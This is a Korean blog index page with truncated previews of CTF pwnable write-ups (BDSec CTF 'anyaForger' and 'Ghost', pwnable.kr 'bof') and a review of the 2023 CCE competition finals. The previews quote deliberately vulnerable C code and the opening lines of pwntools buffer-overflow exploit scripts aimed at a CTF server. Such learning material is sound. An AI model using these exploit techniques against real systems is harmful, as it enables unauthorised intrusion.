전체 글31 anyaForger - Pwnable BDSec CTF 포너블 문제이다. 문제 코드를 보면 v1의 변수를 bof로 0xDEADBEEF 값으로 덮으면 anyaforger 함수가 실행이 된다. 한번 anyaforger 함수를 살펴보도록 하겠다. 그냥 flag를 출력해주는 함수이다. 그러면 그냥 bof로 v1 변수의 값을 0xDEADBEEF로 덮으면 flag가 출력되는 문제다. 스택 구조를 보니까 A로 dummy 값을 0x20 만큼 덮으면 v1 변수 값을 조작할 수 있다. 아래는 해당 공격 시나리오를 반영한 최종 익스플로잇 코드이다. from pwn import * #p = process("./beef") p = remote("139.144.184.150", 31337) e = ELF("./beef") def log(n, m): return su.. 2023. 7. 21. Ghost - Pwnable 2023 BDSec CTF 포너블 문제이다. 누가봐도 v5의 값을 bof로 바꾸면 플래그가 출력되는 문제인거 같다. strcpy 함수로 src의 값을 dest 라는 변수에다가 넣기 때문에 스택 구조를 보면 A 값을 0x40만큼 dummy 값을 채우면 v5 변수에 원하는 값을 넣을 수 있다. 아래는 위의 공격 내용을 반영한 최종 익스플로잇 코드이다. from pwn import * #p = process("./ghost") p = remote("139.144.184.150", 4000) e = ELF("./ghost") def log(n, m): return success(": ".join([n, hex(m)])) context.log_level = 'debug' key = 0x44434241 payloa.. 2023. 7. 21. 2023 CCE(사이버 공격 방어대회) Final 후기 (서울 롯데호텔) 해킹에 관심이 있고 열심히 공부하고 있는 사람들이라면 누구나 알만한 사이버 공격 방어대회는 올해 2023년 6월 10일에 많은 관심과 기사가 나가면서 예선전을 개최하였다. 나는 주니어부에서 T4B라는 팀 소속으로 참가하여 예선전 9등으로 아슬아슬하게 본선에 진출하였다. 사실 대회 참가 당시에 본선 진출의 꿈이 가장 컸기에 나에게 본선 진출은 너무나도 꿈과 같은 일이었고 정말 기뻤다. 문제 난이도는 작년 문제들의 wirte up을 비교해봤을 때 다들 엄청 어려웠다라고 한다. 작년에는 기본적인 ROP 문제라든가 SQL injection 문제들도 있었던 반면 올해에는 가장 쉬웠던 문제가 힙 영역을 통한 주소 릭과 ROP 를 하기 위해 BOF가 터지는 포인트를 하나 하나 찾아야 했고 이들을 체이닝하는 문제였기 .. 2023. 7. 15. bof - pwnable.kr pwnable.kr의 bof 문제이다. bof 문제는 전의 문제들과는 다르게 바이너리와 소스코드를 주는 형태였다(이게 정상이지 ㅎㅎ). 그렇다면 문제 코드를 살펴보도록 하겠다. #include #include #include void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme);// smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } 문제 제목도 그렇고 형태도 그렇고 bof를 일으켜서 key 값을 변조.. 2023. 7. 3. 이전 1 ··· 3 4 5 6 7 8 다음